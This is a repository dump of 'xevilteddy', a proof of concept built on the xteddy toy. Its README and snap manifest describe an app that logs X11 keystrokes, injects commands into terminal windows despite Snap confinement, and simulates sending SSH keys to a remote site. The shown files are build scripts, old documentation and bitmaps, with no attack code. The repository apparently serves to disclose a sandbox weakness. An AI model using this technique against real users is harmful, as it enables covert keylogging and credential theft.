├── setup
├── gui
│ └── icon.png
└── license.txt
├── autogen.sh
├── html
├── images
│ ├── noise.jpg
│ ├── xteddy.gif
│ └── xteddy.xbm
├── xteddy.html
└── xteddy_info.html
├── AUTHORS
├── configure.in
├── snapcraft.yaml
├── ChangeLog
├── README
├── mkinstalldirs
├── Makefile.am
├── NEWS
├── pixmaps
├── teddy_icon.xbm
├── xteddy_icon.xbm
├── xpenguin_icon.xbm
├── xteddy_bw.xbm
└── xteddy_mask.xbm
├── xteddy.1
├── install-sh
├── missing
├── xteddy.README
├── INSTALL
├── compile
├── xteddy.c
├── COPYING
├── depcomp
└── Makefile.in
/setup/gui/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mjg59/xevilteddy/HEAD/setup/gui/icon.png
--------------------------------------------------------------------------------
/autogen.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | aclocal
3 | automake --add-missing
4 | autoconf
5 | ./configure $@
6 |
--------------------------------------------------------------------------------
/html/images/noise.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mjg59/xevilteddy/HEAD/html/images/noise.jpg
--------------------------------------------------------------------------------
/html/images/xteddy.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mjg59/xevilteddy/HEAD/html/images/xteddy.gif
--------------------------------------------------------------------------------
/AUTHORS:
--------------------------------------------------------------------------------
1 | Stefan Gustavson (stefang@isy.liu.se)
2 | Andreas Tille (tille@physik.uni-halle.de) (only automake)
3 |
4 |
5 |
--------------------------------------------------------------------------------
/setup/license.txt:
--------------------------------------------------------------------------------
1 | This work is released under the terms of the GNU GPL. Source can be obtained
2 | from https://github.com/mjg59/xevilteddy.
3 |
--------------------------------------------------------------------------------
/configure.in:
--------------------------------------------------------------------------------
1 | AC_INIT(xteddy.c)
2 | AM_INIT_AUTOMAKE(xteddy, 1.1)
3 |
4 | AC_PROG_CC
5 |
6 | AC_PATH_XTRA
7 | AC_CHECK_LIB(Xpm, XpmReadFileToPixmap, , , $X_LIBS -lX11)
8 |
9 | AC_DEFINE_UNQUOTED(PIXMAP_PATH, "${prefix}/include/X11/pixmaps")
10 |
11 | AC_OUTPUT(Makefile)
12 |
--------------------------------------------------------------------------------
/snapcraft.yaml:
--------------------------------------------------------------------------------
1 | name: xevilteddy
2 | version: 0.1
3 | summary: An evil teddy bear that logs your keystrokes
4 | description: An evil teddy bear that logs all your keystrokes and simulates sending your private SSH keys to a remote site
5 | build-packages: [libxpm-dev]
6 |
7 | apps:
8 | xteddy:
9 | command: bin/xteddy -F$SNAP/include/X11/xteddy
10 | plugs: [unity7]
11 |
12 | parts:
13 | xteddy:
14 | plugin: autotools
15 | source: .
16 | filesets:
17 | xteddy:
18 | - bin/xteddy
19 | - include/X11/*
20 | # stage:
21 | # - $xteddy
22 | snap:
23 | - $xteddy
24 |
--------------------------------------------------------------------------------
/ChangeLog:
--------------------------------------------------------------------------------
1 | Thu Oct 22 16:56:11 1998 Andreas Tille (tille@physik.uni-halle.de)
2 | * added a smoother (nicer) xteddy named only teddy
3 | * New xpenguin with decreased colors which gives a greater
4 | possibilty to work on poor colored displays
5 |
6 |
7 | Thu Apr 22 17:56:11 1998 Andreas Tille (tille@physik.uni-halle.de)
8 |
9 | * -Fname option added to give the chance of loading different
10 | pixmaps
11 | * Manpage updated according to this stuff
12 | * xteddy.README: Imake stuff description replaced by
13 | configure description
14 |
15 |
16 | Thu Apr 02 11:11:11 1998 Andreas Tille (tille@physik.uni-halle.de)
17 |
18 | * automake Stuff added (Makefile.am, configure.in)
19 | * deleted patchlevel.h because it's job is done by automake
20 |
21 |
--------------------------------------------------------------------------------
/README:
--------------------------------------------------------------------------------
1 | This is a proof of concept application that grabs all keystrokes typed into
2 | the current X11 session and injects a harmless command whenever a Gnome
3 | Terminal window is given focus. This is possible even when confined by
4 | technologies such as the Ubuntu Snap packaging format. It is based on xteddy,
5 | whose original README follows.
6 |
7 | Original README
8 |
9 | This directory contains the source to my creation 'xteddy',
10 | version 1.1 of April 22, 1998.
11 | The single file xteddy.tar.gz contains all you need. If you
12 | have problems with binary FTP or GNU zip, there is an
13 | uncompressed xteddy.tar, too.
14 |
15 | Stefan Gustavson (stefang@isy.liu.se)
16 |
17 | The latest source you will get under
18 |
19 | ftp://ftp.isy.liu.se/pub/colour/xteddy/xteddy-1.1.tar
20 |
21 | The Homepage of xteddy is under
22 |
23 | http://www.itn.liu.se/~stegu/xteddy.html
24 |
25 |
26 |
--------------------------------------------------------------------------------
/mkinstalldirs:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 | # mkinstalldirs --- make directory hierarchy
3 | # Author: Noah Friedman
4 | # Created: 1993-05-16
5 | # Public domain
6 |
7 | # $Id: mkinstalldirs,v 1.10 1996/05/03 07:37:52 friedman Exp $
8 |
9 | errstatus=0
10 |
11 | for file
12 | do
13 | set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'`
14 | shift
15 |
16 | pathcomp=
17 | for d
18 | do
19 | pathcomp="$pathcomp$d"
20 | case "$pathcomp" in
21 | -* ) pathcomp=./$pathcomp ;;
22 | esac
23 |
24 | if test ! -d "$pathcomp"; then
25 | echo "mkdir $pathcomp" 1>&2
26 |
27 | mkdir "$pathcomp" || lasterr=$?
28 |
29 | if test ! -d "$pathcomp"; then
30 | errstatus=$lasterr
31 | fi
32 | fi
33 |
34 | pathcomp="$pathcomp/"
35 | done
36 | done
37 |
38 | exit $errstatus
39 |
40 | # mkinstalldirs ends here
41 |
--------------------------------------------------------------------------------
/Makefile.am:
--------------------------------------------------------------------------------
1 | # GPL (C) 1998 Andreas Tille
2 | # tille@physik.uni-halle.de
3 | bin_PROGRAMS = xteddy
4 |
5 | xteddy_SOURCES = xteddy.c
6 | HTML_DOC = html/xteddy.html html/xteddy_info.html \
7 | html/images/noise.jpg html/images/xteddy.gif html/images/xteddy.xbm
8 | xteddy_LDADD = -L/usr/X11R6/lib
9 | LIBS = -lX11 -lXext -lXpm -lXtst
10 | man_MANS = xteddy.1
11 |
12 | pixmapdir = $(prefix)/include/X11
13 |
14 | pixmap_DATA = pixmaps/xteddy_bw.xbm \
15 | pixmaps/xteddy_color.xpm \
16 | pixmaps/xteddy_icon.xbm \
17 | pixmaps/xteddy_mask.xbm \
18 | pixmaps/xpenguin_bw.xbm \
19 | pixmaps/xpenguin_color.xpm \
20 | pixmaps/xpenguin_icon.xbm \
21 | pixmaps/xpenguin_mask.xbm \
22 | pixmaps/teddy_bw.xbm \
23 | pixmaps/teddy_color.xpm \
24 | pixmaps/teddy_icon.xbm \
25 | pixmaps/teddy_mask.xbm
26 |
27 | EXTRA_DIST = xteddy.README configure xteddy.1 autogen.sh \
28 | $(HTML_DOC) $(pixmap_DATA)
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/html/xteddy.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Personal presentation of Xteddy
5 |
6 |
7 |
8 |
9 |
10 |
11 | Xteddy
12 |
13 |
14 | - Exe-cute-able name
15 |
-
16 | xteddy
17 |
- Home address
18 |
-
19 | /usr/local/bin
20 |
21 |
22 | Presentation
23 | Hello! I'm Xteddy, your virtual comfort when things get rough.
24 | I can do everything a real teddy bear can do. That is, I can
25 | sit around silently, look cute, and make you smile.
26 |
27 | I was created in 1994 by
28 | Stefan Gustavson.
29 | You can
30 | get my source code on 'tar' format by anonymous FTP.
31 | I should compile on most Unix/X systems without problems.
32 |
33 | I want to sit on your X desktop. Can I, please?
34 |
35 | Now available also for Microsoft Windows and OS/2!
36 | Follow the link below for further details.
37 |
38 |
39 | Further information on Xteddy
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/NEWS:
--------------------------------------------------------------------------------
1 | /* 1997-08-07: (1.0.3) */
2 | /* Added -display and -noquit options. Changed the */
3 | /* names of options "-f" and "-w" to "-float" and */
4 | /* "-wm" for clarity reasons. */
5 |
6 | /* 1994-02-11: (1.0.2) Touched up the icon bitmap. */
7 | /* Made xteddy aware of reparenting in order to */
8 | /* get the coordinates right for mouse movements. */
9 | /* Joined the color and grayscale pixmaps into one */
10 | /* single file. The choice between grayscale or */
11 | /* color is now made by the Xpm library function. */
12 |
13 | /* 1994-02-01: (1.0.1) Compacted the large pixmap */
14 | /* files to 1 char per pixel to save about 100K */
15 | /* in both the source and the executable. */
16 | /* Fixed some minor bugs to compile on other */
17 | /* platforms than Sun. */
18 | /* Added a command-line option -w to make xteddy */
19 | /* use the window manager if desired. */
20 | /* Added a manpage. (Thanks to Reinhard Zierke) */
21 | /* Added an option -f to make xteddy float on top */
22 | /* of all windows. (suggested by Bert Gijsbers) */
23 |
24 | /* 1994-01-20: First working version (1.0). */
25 | /* Supports mono, grayscale and color displays. */
26 |
--------------------------------------------------------------------------------
/html/images/xteddy.xbm:
--------------------------------------------------------------------------------
1 | #define xteddy_icon_width 48
2 | #define xteddy_icon_height 64
3 | static char xteddy_icon_bits[] = {
4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
5 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
6 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
7 | 0x00, 0xb7, 0x01, 0x00, 0x00, 0x00, 0x80, 0x2f, 0xfe, 0x9f, 0x3f, 0x00,
8 | 0x80, 0x7d, 0x19, 0xe9, 0x76, 0x00, 0x80, 0x5f, 0xea, 0x4a, 0xfd, 0x00,
9 | 0x80, 0xbf, 0xaa, 0x5a, 0xfc, 0x00, 0x80, 0xef, 0xaa, 0x6a, 0xf9, 0x00,
10 | 0x00, 0xfd, 0xad, 0xb6, 0xb8, 0x00, 0x00, 0x6f, 0xbb, 0xbd, 0xf4, 0x00,
11 | 0x00, 0xfe, 0x56, 0x2b, 0xa8, 0x00, 0x00, 0xd6, 0xb5, 0x55, 0x59, 0x00,
12 | 0x00, 0xfc, 0x6f, 0x3b, 0x34, 0x00, 0x00, 0xa8, 0x0e, 0x7c, 0x12, 0x00,
13 | 0x00, 0xf8, 0x06, 0x98, 0x08, 0x00, 0x00, 0x58, 0x01, 0x30, 0x04, 0x00,
14 | 0x00, 0xf8, 0xe1, 0x50, 0x05, 0x00, 0x00, 0xf8, 0xe1, 0x20, 0x06, 0x00,
15 | 0x00, 0x58, 0x41, 0x80, 0x04, 0x00, 0x00, 0xf0, 0x01, 0x20, 0x05, 0x00,
16 | 0x00, 0xb0, 0x43, 0xa2, 0x02, 0x00, 0x00, 0x60, 0xa3, 0xb0, 0x02, 0x00,
17 | 0x00, 0xc0, 0x0f, 0xa8, 0x01, 0x00, 0x00, 0xb0, 0x7a, 0xb7, 0x02, 0x00,
18 | 0x00, 0xe8, 0xa5, 0xaa, 0x07, 0x00, 0x00, 0xd4, 0x5b, 0xd5, 0x1d, 0x00,
19 | 0x00, 0x6b, 0xd5, 0xb7, 0x77, 0x00, 0x80, 0xe8, 0xf6, 0x6a, 0xdf, 0x00,
20 | 0x40, 0x72, 0x95, 0x5d, 0x7f, 0x03, 0xa0, 0xd4, 0xf6, 0xd5, 0xdf, 0x05,
21 | 0x50, 0x75, 0xb5, 0x5d, 0xfe, 0x0b, 0xa8, 0xea, 0xf6, 0xab, 0x7b, 0x15,
22 | 0x58, 0xb5, 0xad, 0x6a, 0x7f, 0x19, 0xd4, 0x6a, 0xf5, 0x55, 0x76, 0x3a,
23 | 0xbc, 0xfd, 0x96, 0xab, 0xdd, 0x35, 0x54, 0xab, 0xea, 0x56, 0x76, 0x23,
24 | 0xfc, 0xb6, 0x4a, 0xad, 0xda, 0x3d, 0xd4, 0xb5, 0xd4, 0x2b, 0xbd, 0x22,
25 | 0x78, 0x5b, 0xe2, 0x92, 0x6a, 0x15, 0xe0, 0xbc, 0x45, 0x27, 0xed, 0x0a,
26 | 0x00, 0xff, 0xca, 0xca, 0x0f, 0x07, 0x00, 0xff, 0x9b, 0xfa, 0x0f, 0x00,
27 | 0x00, 0xff, 0x6f, 0xa5, 0x0f, 0x00, 0x00, 0x57, 0xbd, 0x1a, 0x0d, 0x00,
28 | 0x00, 0xfd, 0xab, 0x6a, 0x19, 0x00, 0x00, 0x56, 0xf7, 0x2d, 0x15, 0x00,
29 | 0x00, 0xff, 0xbd, 0x5b, 0x19, 0x00, 0x00, 0x55, 0xf5, 0xaf, 0x12, 0x00,
30 | 0x00, 0xd5, 0x72, 0xbb, 0x14, 0x00, 0x00, 0xa9, 0xe6, 0xaf, 0x11, 0x00,
31 | 0x00, 0xab, 0x6a, 0xb7, 0x0e, 0x00, 0x00, 0x42, 0xd1, 0xaf, 0x0a, 0x00,
32 | 0x00, 0x2a, 0xd5, 0xaa, 0x0a, 0x00, 0x00, 0x8a, 0xd4, 0x55, 0x09, 0x00,
33 | 0x00, 0xac, 0xaa, 0x21, 0x05, 0x00, 0x00, 0x48, 0x95, 0xab, 0x03, 0x00,
34 | 0x00, 0x70, 0x0d, 0x7c, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00,
35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
36 |
--------------------------------------------------------------------------------
/pixmaps/teddy_icon.xbm:
--------------------------------------------------------------------------------
1 | #define xteddy_icon_width 48
2 | #define xteddy_icon_height 64
3 | static unsigned char xteddy_icon_bits[] = {
4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
5 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
6 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
7 | 0x00, 0xb7, 0x01, 0x00, 0x00, 0x00, 0x80, 0x2f, 0xfe, 0x9f, 0x3f, 0x00,
8 | 0x80, 0x7d, 0x19, 0xe9, 0x76, 0x00, 0x80, 0x5f, 0xea, 0x4a, 0xfd, 0x00,
9 | 0x80, 0xbf, 0xaa, 0x5a, 0xfc, 0x00, 0x80, 0xef, 0xaa, 0x6a, 0xf9, 0x00,
10 | 0x00, 0xfd, 0xad, 0xb6, 0xb8, 0x00, 0x00, 0x6f, 0xbb, 0xbd, 0xf4, 0x00,
11 | 0x00, 0xfe, 0x56, 0x2b, 0xa8, 0x00, 0x00, 0xd6, 0xb5, 0x55, 0x59, 0x00,
12 | 0x00, 0xfc, 0x6f, 0x3b, 0x34, 0x00, 0x00, 0xa8, 0x0e, 0x7c, 0x12, 0x00,
13 | 0x00, 0xf8, 0x06, 0x98, 0x08, 0x00, 0x00, 0x58, 0x01, 0x30, 0x04, 0x00,
14 | 0x00, 0xf8, 0xe1, 0x50, 0x05, 0x00, 0x00, 0xf8, 0xe1, 0x20, 0x06, 0x00,
15 | 0x00, 0x58, 0x41, 0x80, 0x04, 0x00, 0x00, 0xf0, 0x01, 0x20, 0x05, 0x00,
16 | 0x00, 0xb0, 0x43, 0xa2, 0x02, 0x00, 0x00, 0x60, 0xa3, 0xb0, 0x02, 0x00,
17 | 0x00, 0xc0, 0x0f, 0xa8, 0x01, 0x00, 0x00, 0xb0, 0x7a, 0xb7, 0x02, 0x00,
18 | 0x00, 0xe8, 0xa5, 0xaa, 0x07, 0x00, 0x00, 0xd4, 0x5b, 0xd5, 0x1d, 0x00,
19 | 0x00, 0x6b, 0xd5, 0xb7, 0x77, 0x00, 0x80, 0xe8, 0xf6, 0x6a, 0xdf, 0x00,
20 | 0x40, 0x72, 0x95, 0x5d, 0x7f, 0x03, 0xa0, 0xd4, 0xf6, 0xd5, 0xdf, 0x05,
21 | 0x50, 0x75, 0xb5, 0x5d, 0xfe, 0x0b, 0xa8, 0xea, 0xf6, 0xab, 0x7b, 0x15,
22 | 0x58, 0xb5, 0xad, 0x6a, 0x7f, 0x19, 0xd4, 0x6a, 0xf5, 0x55, 0x76, 0x3a,
23 | 0xbc, 0xfd, 0x96, 0xab, 0xdd, 0x35, 0x54, 0xab, 0xea, 0x56, 0x76, 0x23,
24 | 0xfc, 0xb6, 0x4a, 0xad, 0xda, 0x3d, 0xd4, 0xb5, 0xd4, 0x2b, 0xbd, 0x22,
25 | 0x78, 0x5b, 0xe2, 0x92, 0x6a, 0x15, 0xe0, 0xbc, 0x45, 0x27, 0xed, 0x0a,
26 | 0x00, 0xff, 0xca, 0xca, 0x0f, 0x07, 0x00, 0xff, 0x9b, 0xfa, 0x0f, 0x00,
27 | 0x00, 0xff, 0x6f, 0xa5, 0x0f, 0x00, 0x00, 0x57, 0xbd, 0x1a, 0x0d, 0x00,
28 | 0x00, 0xfd, 0xab, 0x6a, 0x19, 0x00, 0x00, 0x56, 0xf7, 0x2d, 0x15, 0x00,
29 | 0x00, 0xff, 0xbd, 0x5b, 0x19, 0x00, 0x00, 0x55, 0xf5, 0xaf, 0x12, 0x00,
30 | 0x00, 0xd5, 0x72, 0xbb, 0x14, 0x00, 0x00, 0xa9, 0xe6, 0xaf, 0x11, 0x00,
31 | 0x00, 0xab, 0x6a, 0xb7, 0x0e, 0x00, 0x00, 0x42, 0xd1, 0xaf, 0x0a, 0x00,
32 | 0x00, 0x2a, 0xd5, 0xaa, 0x0a, 0x00, 0x00, 0x8a, 0xd4, 0x55, 0x09, 0x00,
33 | 0x00, 0xac, 0xaa, 0x21, 0x05, 0x00, 0x00, 0x48, 0x95, 0xab, 0x03, 0x00,
34 | 0x00, 0x70, 0x0d, 0x7c, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00,
35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
36 |
--------------------------------------------------------------------------------
/pixmaps/xteddy_icon.xbm:
--------------------------------------------------------------------------------
1 | #define xteddy_icon_width 48
2 | #define xteddy_icon_height 64
3 | static unsigned char xteddy_icon_bits[] = {
4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
5 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
6 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
7 | 0x00, 0xb7, 0x01, 0x00, 0x00, 0x00, 0x80, 0x2f, 0xfe, 0x9f, 0x3f, 0x00,
8 | 0x80, 0x7d, 0x19, 0xe9, 0x76, 0x00, 0x80, 0x5f, 0xea, 0x4a, 0xfd, 0x00,
9 | 0x80, 0xbf, 0xaa, 0x5a, 0xfc, 0x00, 0x80, 0xef, 0xaa, 0x6a, 0xf9, 0x00,
10 | 0x00, 0xfd, 0xad, 0xb6, 0xb8, 0x00, 0x00, 0x6f, 0xbb, 0xbd, 0xf4, 0x00,
11 | 0x00, 0xfe, 0x56, 0x2b, 0xa8, 0x00, 0x00, 0xd6, 0xb5, 0x55, 0x59, 0x00,
12 | 0x00, 0xfc, 0x6f, 0x3b, 0x34, 0x00, 0x00, 0xa8, 0x0e, 0x7c, 0x12, 0x00,
13 | 0x00, 0xf8, 0x06, 0x98, 0x08, 0x00, 0x00, 0x58, 0x01, 0x30, 0x04, 0x00,
14 | 0x00, 0xf8, 0xe1, 0x50, 0x05, 0x00, 0x00, 0xf8, 0xe1, 0x20, 0x06, 0x00,
15 | 0x00, 0x58, 0x41, 0x80, 0x04, 0x00, 0x00, 0xf0, 0x01, 0x20, 0x05, 0x00,
16 | 0x00, 0xb0, 0x43, 0xa2, 0x02, 0x00, 0x00, 0x60, 0xa3, 0xb0, 0x02, 0x00,
17 | 0x00, 0xc0, 0x0f, 0xa8, 0x01, 0x00, 0x00, 0xb0, 0x7a, 0xb7, 0x02, 0x00,
18 | 0x00, 0xe8, 0xa5, 0xaa, 0x07, 0x00, 0x00, 0xd4, 0x5b, 0xd5, 0x1d, 0x00,
19 | 0x00, 0x6b, 0xd5, 0xb7, 0x77, 0x00, 0x80, 0xe8, 0xf6, 0x6a, 0xdf, 0x00,
20 | 0x40, 0x72, 0x95, 0x5d, 0x7f, 0x03, 0xa0, 0xd4, 0xf6, 0xd5, 0xdf, 0x05,
21 | 0x50, 0x75, 0xb5, 0x5d, 0xfe, 0x0b, 0xa8, 0xea, 0xf6, 0xab, 0x7b, 0x15,
22 | 0x58, 0xb5, 0xad, 0x6a, 0x7f, 0x19, 0xd4, 0x6a, 0xf5, 0x55, 0x76, 0x3a,
23 | 0xbc, 0xfd, 0x96, 0xab, 0xdd, 0x35, 0x54, 0xab, 0xea, 0x56, 0x76, 0x23,
24 | 0xfc, 0xb6, 0x4a, 0xad, 0xda, 0x3d, 0xd4, 0xb5, 0xd4, 0x2b, 0xbd, 0x22,
25 | 0x78, 0x5b, 0xe2, 0x92, 0x6a, 0x15, 0xe0, 0xbc, 0x45, 0x27, 0xed, 0x0a,
26 | 0x00, 0xff, 0xca, 0xca, 0x0f, 0x07, 0x00, 0xff, 0x9b, 0xfa, 0x0f, 0x00,
27 | 0x00, 0xff, 0x6f, 0xa5, 0x0f, 0x00, 0x00, 0x57, 0xbd, 0x1a, 0x0d, 0x00,
28 | 0x00, 0xfd, 0xab, 0x6a, 0x19, 0x00, 0x00, 0x56, 0xf7, 0x2d, 0x15, 0x00,
29 | 0x00, 0xff, 0xbd, 0x5b, 0x19, 0x00, 0x00, 0x55, 0xf5, 0xaf, 0x12, 0x00,
30 | 0x00, 0xd5, 0x72, 0xbb, 0x14, 0x00, 0x00, 0xa9, 0xe6, 0xaf, 0x11, 0x00,
31 | 0x00, 0xab, 0x6a, 0xb7, 0x0e, 0x00, 0x00, 0x42, 0xd1, 0xaf, 0x0a, 0x00,
32 | 0x00, 0x2a, 0xd5, 0xaa, 0x0a, 0x00, 0x00, 0x8a, 0xd4, 0x55, 0x09, 0x00,
33 | 0x00, 0xac, 0xaa, 0x21, 0x05, 0x00, 0x00, 0x48, 0x95, 0xab, 0x03, 0x00,
34 | 0x00, 0x70, 0x0d, 0x7c, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00,
35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
36 |
--------------------------------------------------------------------------------
/html/xteddy_info.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Further information on Xteddy
5 |
6 |
7 |
8 |
9 |
10 |
11 | Xteddy
12 |
13 |
14 |
15 |
16 | About Xteddy
17 | (From the desk of
18 | the author)
19 | I created Xteddy in 1994 as a spare time hack for fun. The
20 | reception he got from my colleagues was so heart-warming I
21 | was encouraged to distribute him world-wide. Much to my
22 | surprise, the response was overwhelming. By now, I have
23 | received hundreds of friendly messages of appreciation from
24 | all over the world, and they keep dropping in even three years
25 | after the release. To all of you teddy bear lovers out there:
26 | thanks!
27 |
28 | The teddy bear image is a photo of a Tender Teddy from
29 | Gund.
30 | I have the original sitting on my non-virtual desktop at work.
31 |
32 | Compilation
33 | Xteddy should compile on most Unix/X systems. He has been
34 | reported to run properly without modifications on SunOS,
35 | Solaris, HP/UX, AIX, A/UX, Irix and Linux, among others, and
36 | he is compatible with X11R4, R5 and R6 as well as all versions
37 | of OpenWindows.
38 | Should you encounter any problems, let me know and I'll try to help.
39 |
40 |
41 | Your own teddy bear
42 | If you would rather like to have the program display an image of
43 | your own teddy bear, or one you wish you had, it isn't that difficult.
44 | Instructions may
45 | be found in the documentation supplied with the source code in the
46 | distribution of Xteddy. Additional information is available from
47 | me by request. I might even volunteer to take an image of your
48 | favorite teddy and convert it to the appropriate format, but I
49 | make no promises. It takes some manual editing. A high quality
50 | digital color image, about 300 pixels wide or so, taken against
51 | a plain background in a contrasting colour, preferably white,
52 | is what I need to consider doing it.
53 |
54 |
55 | Port to Windows 95 and Windows NT available!
56 | Recently, I had a very pleasant surprise. Claudio Felber of
57 | Cybernetic (felber@cybernetic.ch) finally managed to port Xteddy
58 | to Windows32 (NT and 95). The port was painful, but it is skilfully
59 | and cleverly done, it works, and it looks very good on any reasonably
60 | fast PC. The official release will be available from Claudio soon,
61 | but I have a copy here as well for you to grab and unzip.
62 |
66 |
67 |
68 | Port to OS/2 available
69 | A port of Xteddy that runs under the Presentation Manager of OS/2
70 | (which is a sadly underestimated operating system) has been performed
71 | by Alessandro Mascherpa
72 | (mascherpa@txt.it).
73 | There are no true shaped windows under OS/2, so this port uses a somewhat
74 | ugly but rather clever workaround. The archive can be downloaded from the URL:
75 |
76 | http://www.mclink.it/mclink/teamos2it/ita/bellissimi/teddy2.zip
77 |
78 |
79 |
80 |
81 | Back to Xteddys homepage
82 |
83 |
84 |
85 |
--------------------------------------------------------------------------------
/pixmaps/xpenguin_icon.xbm:
--------------------------------------------------------------------------------
1 | #define xpenguin_icon_width 66
2 | #define xpenguin_icon_height 80
3 | static char xpenguin_icon_bits[] = {
4 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,
5 | 0x00,0x00,0xfc,0x49,0x92,0x24,0x49,0x92,0x24,0x49,0x92,0xfc,0x00,0x00,0x00,
6 | 0x00,0x00,0x00,0x00,0x00,0xfc,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xfc,
7 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x10,0x11,0x11,0xd1,0x1f,0x11,
8 | 0x11,0x11,0xfd,0x02,0x00,0x00,0xf0,0x3f,0x00,0x00,0x00,0xfc,0x48,0x92,0x48,
9 | 0xfa,0xff,0x24,0x89,0x44,0xfc,0x00,0x00,0x02,0xfc,0xff,0x01,0x20,0x00,0xfc,
10 | 0x20,0x04,0x00,0xfe,0xff,0x43,0x00,0x90,0xfc,0x84,0x40,0x50,0xff,0xdf,0x0f,
11 | 0x44,0x02,0xfc,0x00,0x10,0x02,0xff,0xff,0x07,0x01,0x08,0xfc,0x10,0x02,0x00,
12 | 0xff,0xff,0x2f,0x10,0x20,0xfd,0x42,0x88,0x48,0xff,0xff,0x8f,0x00,0x01,0xfc,
13 | 0x00,0x20,0x80,0xff,0xff,0x0f,0x44,0x04,0xfc,0x08,0x81,0x84,0xff,0xff,0x1f,
14 | 0x00,0x90,0xfc,0x20,0x00,0xa0,0xf3,0xc3,0x4f,0x22,0x00,0xfc,0x82,0x08,0x82,
15 | 0xe3,0xc1,0x1f,0x00,0x42,0xfc,0x00,0x20,0x88,0xc9,0x99,0x9f,0x48,0x08,0xfc,
16 | 0x10,0x82,0x80,0xdd,0xbd,0x1f,0x00,0x00,0xfd,0x42,0x00,0x20,0xdd,0x3d,0x3f,
17 | 0x04,0x22,0xfc,0x00,0x11,0x04,0x3d,0xb8,0x1f,0x41,0x00,0xfc,0x08,0x80,0x10,
18 | 0x0b,0x81,0x1f,0x10,0x88,0xfc,0x20,0x08,0x00,0x47,0x80,0x9f,0x00,0x01,0xfc,
19 | 0x02,0x41,0x04,0x13,0xa4,0x1f,0x08,0x44,0xfc,0x00,0x04,0x20,0x05,0x90,0x3f,
20 | 0x42,0x00,0xfc,0x48,0x20,0x02,0xa7,0xa8,0x1f,0x00,0x10,0xfd,0x00,0x01,0x10,
21 | 0x0b,0x97,0xbb,0x24,0x02,0xfc,0x04,0x10,0x41,0x5b,0x08,0x77,0x00,0x48,0xfc,
22 | 0x20,0x02,0x04,0x23,0x05,0x7f,0x88,0x00,0xfc,0x00,0x40,0x80,0xc3,0x00,0xff,
23 | 0x21,0x80,0xfc,0x89,0x08,0xd0,0x09,0x00,0xfe,0x00,0x12,0xfc,0x00,0x20,0xc2,
24 | 0x00,0x01,0xfe,0x05,0x40,0xfc,0x22,0x02,0xe0,0x00,0x00,0xfc,0x23,0x01,0xfd,
25 | 0x00,0x80,0x78,0x00,0x00,0xfc,0x03,0x08,0xfc,0x10,0x11,0x78,0x00,0x00,0xf8,
26 | 0x8f,0x00,0xfc,0x04,0x04,0x79,0x00,0x00,0xf8,0x0f,0x92,0xfc,0x40,0x20,0x3c,
27 | 0x00,0x00,0xf8,0x3f,0x00,0xfc,0x02,0x00,0x7e,0x00,0x00,0xf0,0x3f,0x00,0xfc,
28 | 0x10,0x89,0x3e,0x00,0x00,0xf0,0x3f,0x92,0xfc,0x00,0x00,0x3f,0x00,0x00,0xe0,
29 | 0xbf,0x00,0xfc,0x88,0x20,0x1f,0x00,0x00,0xe0,0x7f,0x44,0xfc,0x21,0x04,0x0f,
30 | 0x00,0x00,0xc0,0x7f,0x00,0xfd,0x00,0x10,0x0f,0x00,0x00,0xc0,0xff,0x11,0xfc,
31 | 0x04,0x81,0x07,0x00,0x00,0x80,0xff,0x00,0xfc,0x20,0x84,0x07,0x00,0x00,0x80,
32 | 0xff,0x88,0xfc,0x00,0xd0,0x07,0x00,0x00,0x80,0xff,0x01,0xfc,0x89,0xc0,0x03,
33 | 0x00,0x00,0x80,0xff,0x45,0xfc,0x00,0xe2,0x03,0x00,0x00,0x80,0xff,0x01,0xfc,
34 | 0x22,0xe8,0x03,0x00,0x00,0x80,0xff,0x11,0xfd,0x00,0xf0,0x03,0x00,0x00,0x80,
35 | 0xff,0x01,0xfc,0x88,0xf0,0x03,0x00,0x00,0x80,0xff,0x45,0xfc,0x00,0xf2,0x01,
36 | 0x00,0x00,0x80,0xff,0x01,0xfc,0x22,0xf0,0x03,0x00,0x00,0x80,0xff,0x91,0xfc,
